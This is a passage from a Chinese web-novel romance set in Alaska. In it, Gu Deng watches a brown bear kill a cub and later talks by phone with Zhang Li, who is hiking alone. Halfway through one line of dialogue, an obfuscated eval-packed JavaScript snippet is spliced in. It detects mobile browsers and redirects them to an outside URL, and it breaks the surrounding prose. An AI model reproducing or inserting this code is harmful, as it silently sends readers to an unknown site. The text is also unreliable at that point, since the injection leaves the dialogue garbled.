原来阿里从2岁起就被父母带着滑雪徒步露营,别看她小小年纪,户外经验都足以吊打顾灯这个成年人。 随着徒步深入,他们逐渐发现了棕熊的粪便和足迹,顾灯看不懂,也没什么兴趣,就和阿里在一旁坐着,听树上的鸟叫声。 本来是很惬意的环境,但突然间,一个放哨人突然拿起麻醉枪,目光警戒。一公里外,一只棕熊正朝着他们飞速前进。顾灯想起被袭击的驯鹿,紧张得一下抱起了阿里。直到他听人说棕熊爬不上山崖,这才松了口气。 队伍继续前进,顾灯用望远镜时刻注意着棕熊的动静。 也就是这时,他发现棕熊还带了一只小熊仔。小熊又瘦又小,速度也不快,像粒黑芝麻一样落在雪地里。跑不动了,就咕咚咕咚的滚下去。憨态可掬的模样,让顾灯一下笑了出来。他虽然对大熊有意见,但没人会讨厌这样可爱的小崽子。 顾灯举着望远镜看得正起劲,旁边突然有人说:“糟了,这头小熊估计活不了了。” 顾灯:“为什么?” 那人告诉他,后面还有一只雄性棕熊在追。 顾灯这才明白,原来小熊乱跑不是在玩,而是慌不择路的在逃命。这头雌性棕熊带着幼崽,也曾数次想要击退雄性棕熊。可它太瘦了,体型都比雄性棕熊小了一圈。这头雄性棕熊刚结束冬眠,正饥肠辘辘,渴望吞下一切可以入腹的东西。 眼看棕熊越来越近,马上就要逼近小熊崽。 阿里急得直哭,抓着史密斯脖子喊:“爸爸,我们去救小熊好不好?” 史密斯叹了口气,伸手捂住阿里的眼睛。 这场厮杀最终还是未能避免,雌性棕熊痛失幼崽,发出阵阵悲戚的呜咽。 研究团队目睹这一切,回程时情绪都很低落。阿里哭累躺在后座睡着了,连梦里都还在抽泣。 顾灯坐在副驾驶,他看不见自己的脸,但感觉表情应该很难看。 · 阿拉斯加腹地,章离正站在河中沐浴。 他习惯在徒步过程中洗冰水浴,这是他从康复师那里学来的经验,运动后的冰水浴可以减轻炎症,改善血液循环,减少肌肉酸痛。 只是前几天河流还未解冻,而且有顾灯在,他也不太好脱光身体。 但现在,周围百里内只有他自己,也就无所谓那些了。岸边有动物好奇地打量他,章离坦坦荡荡,大方地展示着赤.裸的身体。 十天的持续徒步消耗了一部分肌肉,但也让他的身型更加流畅、健美。宽肩窄腰,臀部挺翘,大腿肌肉饱满,他赤身在河流中沐浴,整个人都散发着一股原始的野性。 突然间,放在岸边的卫星电话响起,章离伸手拿起。 电话那头,顾灯声音有些沉闷:“你现在方便讲话吗?” “方便,”章离走到岸边,“你找我有事?” “也没什么,”顾灯说,“就想问问你这边怎么样了。” 章离仔细和顾灯说了自己的进度,还有这些天发生的事情。 他说话太言简意赅了,顾灯追问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531894|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没别的事情了吗?” 章离沉默了一会儿,说:“没了。” “啊?那行吧……”顾灯有些失落。 “徒步其实挺枯燥的,”章离说,“除了少部分时候,都没什么乐趣。” “我觉得挺有趣啊,”顾灯在床上翻了个身,“我这几天闭上眼,满脑子都是那几天发生的事情。要是有体力,我也想继续走下去。” “你呢?”章离又问,“回去后还好吗?” “挺好啊,”顾灯说,“就吃饭睡觉,和阿里玩儿,没什么别的事情。” 章离“嗯”了一声,旷野冷风吹过他赤.裸的身体。他把手机放到一旁,给自己穿上保暖衣。 顾灯听见动静,问:“我是不是打扰你了?” “没事,”章离说,“你不用挂电话。” 通话还在持续,但一时间又没人再说话。直到章离穿完衣服,顾灯才又出声:“章离,我看到小熊了。” “小熊?” “嗯,”顾灯点头,声音里带上了些许鼻音,“我看见小熊被公熊吃了。” 章离耳边突然变得异常安静,能听见野外呼啸的风声。远处夕阳照亮河谷,隐约能看见棕熊的身影。 “顾灯。”章离喊他名字。 “嗯?”电话那头传来闷闷的气息。 “别难过。” “我也没有很难过,”顾灯说,“我就是有些接受不了。”他似乎有些语无伦次,过了一会儿又说,“也不是接受不了,就是第一次见,我受不了这些。” 章离:“对不起。” “你道什么歉啊,”顾灯摇头,“我又不是要怪你,我就是想和你说说话。而且除了你,我也不知道能和谁说这些事情。” 只有章离知道他对熊的恐惧和厌恶,所以他觉得,章离一定也能理解他此刻复杂矛盾的心情。 章离听完后安静了很久,顾灯猜测,大概是自己这番话让他不好回应。 顾灯深吸了口气,尽量让自己语气听起来开心些:“你别往心里去,我只是……” “顾灯,我——”章离突然开口抢话,可话说到一半,又突然停了下来。 “怎么了?”顾灯问。 章离诡异地沉默着,只是呼吸越来越沉。如果顾灯在他身边,就能看见他紧绷的肌肉,还有复杂压抑的神情。 顾灯等了一会儿,那边依旧没有回应,于是他说:“那我不打扰你啦,好好休息,三天后见。” “嗯……三天后见。” 话题已然结束,但谁都没有挂断。 就在顾灯准备挂断前,章离又说:“抱歉,没能给你什么有用的意见。” 顾灯哎呀一声,又摇头:“都让你别道歉了,整得我怪不好意思的。” 章离于是闭上了嘴。 “而是和你聊过后我好多了,”顾灯说,“你千万别有负担,不然我下次都不敢找你了。” “别。”章离立刻说。 “嗯,早点休息吧,再见。” “再见。” 电话终于挂断,章离垂下右手,握着电话的手臂因为用力暴起青筋。 他刚才,几乎冲动得想要立刻结束徒步飞过去。 闭上眼,章离脑海中又浮现出顾灯哭泣时的表情。 他比谁都清楚,顾灯现在需要的不是口头上的安慰,道歉,或者一些可有可无的建议。他需要的是拥抱,抚慰,还有被人吻得喘不过气。